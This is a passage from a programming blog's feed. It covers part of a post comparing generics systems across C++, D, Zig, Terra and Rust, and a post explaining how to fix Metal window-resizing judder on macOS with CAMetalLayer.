&lt;span class=&quot;k&quot;&gt;template&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Pair&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;myMax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Pair&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// This would give us a compile error inside myMax&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// about Pair being an invalid operand to `&amp;gt;`:&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// myMax(p, p);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;One problem with the template system is that if you include a template function in your library and a user instantiates it with the wrong type they may get an inscrutable compile error inside your library. This is very similar to what can happen with libraries in dynamically typed languages when a user passes in the wrong type. &lt;a href=&quot;http://dlang.org/&quot;&gt;D&lt;/a&gt; has an interesting solution to this which is similar to what popular libraries in dynamic languages do: just use helper functions to check the types are valid, the error messages will clearly point to the helpers if they fail! Here’s the same example in D, note the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if&lt;/code&gt; in the signature and the generally better syntax (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!&lt;/code&gt; is how you provide template parameters):&lt;/p&gt;

&lt;div class=&quot;language-d highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// We&apos;re going to use the isNumeric function in std.traits&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;traits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// The `if` is optional (without it you&apos;ll get an error inside like C++)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// The `if` is also included in docs and participates in overloading!&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;myMax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;isNumeric&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Pair&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;myMax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Pair&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]};&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// This would give a compile error saying that `(Pair!int, Pair!int)`&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// doesn&apos;t match the available instance `myMax(T a, T b) if(isNumeric!T)`:&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// myMax(p, p);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://en.cppreference.com/w/cpp/language/constraints&quot;&gt;C++20 has a feature called “concepts”&lt;/a&gt; that serves the same purpose except with a design more like defining interfaces and type constraints.&lt;/p&gt;

&lt;h3 id=&quot;compile-time-functions&quot;&gt;Compile time functions&lt;/h3&gt;

&lt;p&gt;D’s templates have a number of extensions that allow you to use features like compile time function evaluation and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;static if&lt;/code&gt; to basically make templates act like functions that take a compile time set of parameters and return a non-generic runtime function. This makes D templates into a fully featured metaprogramming system, and as far as I understand modern C++ templates have similar power but with less clean mechanisms.&lt;/p&gt;

&lt;p&gt;There’s some languages that take the “generics are just compile time functions” concept and run with it even further, like Zig:&lt;/p&gt;

&lt;div class=&quot;language-zig highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Stack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;comptime&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Self&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;@This&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;c&quot;&gt;// ...&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Zig does this using the same language at both compile time and runtime, with functions split up based on parameters marked &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;comptime&lt;/code&gt;. There’s another language that uses a separate but similar language at the meta level called &lt;a href=&quot;http://terralang.org/&quot;&gt;Terra&lt;/a&gt;. Terra is a dialect of Lua that allows you to construct lower level C-like functions inline and then manipulate them at the meta level using Lua APIs as well as quoting and splicing primitives:&lt;/p&gt;

&lt;div class=&quot;language-lua highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;MakeStack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Stack&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;items&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- &amp;amp;T is a pointer to T&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;terra&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Stack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;item&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;-- ...&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Stack&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Terra’s crazy level of metaprogramming power allows it to do things &lt;a href=&quot;http://terralang.org/#compiling-a-language&quot;&gt;like implement optimizing compilers for domain specific languages as simple functions&lt;/a&gt;, or implement the interface and object systems of &lt;a href=&quot;https://github.com/zdevito/terra/blob/master/tests/lib/javalike.t&quot;&gt;Java&lt;/a&gt; and &lt;a href=&quot;https://github.com/zdevito/terra/blob/master/tests/lib/golike.t&quot;&gt;Go&lt;/a&gt; in a library with a small amount of code. Then it can save out generated runtime-level code as dependency-free object files.&lt;/p&gt;

&lt;h3 id=&quot;rust-generics&quot;&gt;Rust generics&lt;/h3&gt;

&lt;p&gt;The next type of monomorphized generics of course moves the code generation one step further into the compiler, after type checking. I mentioned that the type of inside-the-library errors you can get with C++ are like the errors you can get in a dynamically typed language, this is of course because there’s basically only one type of type in template parameters, like a dynamic language. So that means we can fix the problem by adding a type system to our meta level and having multiple types of types with static checking that they support the operations you use. This is how generics work in Rust, and at the language level also how they work in Swift and Haskell.&lt;/p&gt;

&lt;p&gt;In Rust you need to declare “trait bounds” on your type parameters, where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;trait&lt;/code&gt;s
are like interfaces in other languages and declare a set of functionality provided by the type. The Rust compiler will check that the body of your generic functions will work with any type conforming to your trait bounds, and also not allow you to use functionality of the type not declared by the trait bounds. This way users of generic functions in Rust can &lt;em&gt;never&lt;/em&gt; get compile errors inside a library function when they instantiate it. The compiler also only has to type check each generic function once.&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;my_max&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;PartialOrd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Pair&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;my_max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Pair&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;i32&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Pair&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Would give a compile error saying that&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// PartialOrd is not implemented for Pair&amp;lt;i32&amp;gt;:&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// my_max(p,p);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At the language level this is very similar to the kind of type system you need to implement generics with interface support using the boxing approach to generics, which is why Rust can support both using the same system! Rust 2018 even added a uniform syntax where a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v: &amp;amp;impl SomeTrait&lt;/code&gt; parameter gets monomorphized but a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v: &amp;amp;dyn SomeTrait&lt;/code&gt; parameter uses boxing. This property also allows compilers like Swift’s and Haskell’s GHC to monomorphize as an optimization even though they default to boxing.&lt;/p&gt;

&lt;h3 id=&quot;machine-code-monomorphization&quot;&gt;Machine code monomorphization&lt;/h3&gt;

&lt;p&gt;The logical next step in monomorphized generics models is pushing it further in the compiler, after the backend. Just like we can copy source code templates that are annotated with placeholders for the generic type, we can generate machine code with placeholders for the type-specific parts. Then we can stamp these templates out very quickly with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memcpy&lt;/code&gt; and a few patches like how a linker works! The downside is that each monomorphized copy couldn’t be specially optimized by the optimizer, but because of the lack of duplicate optimization, compilation can be way faster. We could even make the code stamper a tiny JIT that gets included in binaries and stamps out the monomorphized copies at runtime to avoid bloating the binaries.&lt;/p&gt;

&lt;p&gt;Actually I’m not aware of any language that works this way, it’s just an idea that came to me while writing as a natural extension of this taxonomy, which is exactly the kind of thing I hoped for from this exercise! I hope this post gives you a clearer picture of the generics systems in different languages and how they can be fit together into a coherent taxonomy, and prompts you to think about the directions in concept-space where we might find new cool programming languages.&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Glitchless Metal Window Resizing</title>
   <link href="https://thume.ca/2019/06/19/glitchless-metal-window-resizing/"/>
   <updated>2019-06-19T00:00:00+00:00</updated>
   <id>https://thume.ca/2019/06/19/glitchless-metal-window-resizing</id>
   <content type="html">
&lt;p&gt;There’s a problem with Apple’s Metal &lt;a href=&quot;https://developer.apple.com/documentation/metalkit/mtkview&quot;&gt;MTKView&lt;/a&gt; on macOS which is that seemingly nobody can figure out how to get smooth window resizing to work properly. I just figured it out, more on that later. If you reposition the triangle in Apple’s Hello Triangle program to the left (to make the rescaling more apparent) then you can see it judders horribly when the window is resized:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/metalresize/wobbly_hello_triangle.gif&quot; alt=&quot;Wobbly Hello Triangle&quot; /&gt;&lt;/p&gt;

&lt;p&gt;What’s happening is often the new Metal frame doesn’t arrive in time and it draws a stretched version of the previous frame instead. There’s a number of places on the internet dating back to 2017 with various people encountering the problem:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/45375548/resizing-mtkview-scales-old-content-before-redraw&quot;&gt;Stack Overflow: Resizing MTKView scales old content before redraw&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://forums.developer.apple.com/thread/77901&quot;&gt;Apple Developer Forums: Redraw MTKView when its size changes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://forums.developer.apple.com/thread/94765&quot;&gt;Apple Developer Forums: Unwanted MTKView content stretching when I resize/zoom the window&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/gnachman/iTerm2/blob/ed8e2544726e686fe81d71fdec25cd8c5884be4d/sources/PTYTab.m#L5215&quot;&gt;iTerm2 switches away from Metal to software rendering when resizing the window&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Basically everyone who tries to make something with Metal that’s not a game runs into this problem and it looks horrible. As far as I can tell nobody has figured out how to fix it properly before and posted about it afterwards. Note in the first dev forums thread that an Apple employee claimed they were looking into this problem almost a year ago with no resolution.&lt;/p&gt;

&lt;p&gt;I started &lt;a href=&quot;https://github.com/trishume/MetalTest&quot;&gt;a test project&lt;/a&gt; to try out different ways of drawing with Metal during resize to see if I could get any of them to work properly. First I replicated the MTKView problems and tried to fix them by tweaking lots of different things, including all three modes of triggering draws listed in the docs and using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;presentsWithTransaction&lt;/code&gt; in the way the docs suggest but nothing helped. Then I made a version using Core Graphics and an NSView subclass and stacked it below my Metal view so that I could have a reference that worked properly.&lt;/p&gt;

&lt;h2 id=&quot;the-solution&quot;&gt;The Solution&lt;/h2&gt;

&lt;p&gt;Then I tried the accepted answer by Max on &lt;a href=&quot;https://stackoverflow.com/questions/45375548/resizing-mtkview-scales-old-content-before-redraw&quot;&gt;the Stack Overflow post&lt;/a&gt; which uses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CAMetalLayer&lt;/code&gt; and some resizing-related properties. This reduced the frequency of glitches quite a bit, but didn’t eliminate them. So I added in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;presentsWithTransaction = true&lt;/code&gt;, which wasn’t enough on its own, but combining that with  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;commandBuffer.waitUntilScheduled()&lt;/code&gt; then presenting as suggested in the Apple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CAMetalLayer&lt;/code&gt; docs fixed all the glitches! I also needed to do some size conversion to make the accepted answer’s recipe draw crisply on high DPI displays.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; &lt;a href=&quot;https://twitter.com/CoreyDotCom/status/1141653060843950081&quot;&gt;@CoreyDotCom on Twitter&lt;/a&gt; reminded me I forgot to mention something. If you follow the recipe from the Stack Overflow post, it will &lt;em&gt;appear to be&lt;/em&gt; glitch-free, but it actually isn’t. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;layerContentsPlacement = .topLeft&lt;/code&gt; makes the glitches manifest as small broken slices near the moving window edge, which are very difficult to notice since the edge is moving quickly. When you change the placement policy to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;layerContentsPlacement = .scaleAxesIndependently&lt;/code&gt; to match the behavior of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MTKView&lt;/code&gt; you see that there are still occasional glitches. Corey reports frame rate issues with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;presentsWithTransaction&lt;/code&gt;, and if this is the case for you as well it may be preferable to just mask the occasional remaining glitches with the top left placement policy.&lt;/p&gt;

&lt;h2 id=&quot;working-code&quot;&gt;Working Code&lt;/h2&gt;

&lt;p&gt;I now have a Metal triangle test program that resizes smoothly and without judder.&lt;/p&gt;

&lt;p&gt;Check out my test project: &lt;a href=&quot;https://github.com/trishume/MetalTest&quot;&gt;Github repo&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And the specific code file containing the working recipe: &lt;a href=&quot;https://github.com/trishume/MetalTest/blob/master/MetalTest2/MetalLayerView.swift&quot;&gt;MetalLayerView&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the gif below the top is the broken &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MTKView&lt;/code&gt;, the middle &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSView&lt;/code&gt;, and the bottom the working &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CAMetalLayer&lt;/code&gt; recipe. Contrast the shakey left edge of the top triangle with the stable bottom one:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/metalresize/metal_triangles.gif&quot; alt=&quot;Metal Triangles&quot; /&gt;&lt;/p&gt;

</content>
 </entry>
 
 
 
 <entry>
   <title>Comparing the Same Project in Rust, Haskell, C++, Python, Scala and OCaml</title>
   <link href="https://thume.ca/2019/04/29/comparing-compilers-in-rust-haskell-c-and-python/"/>
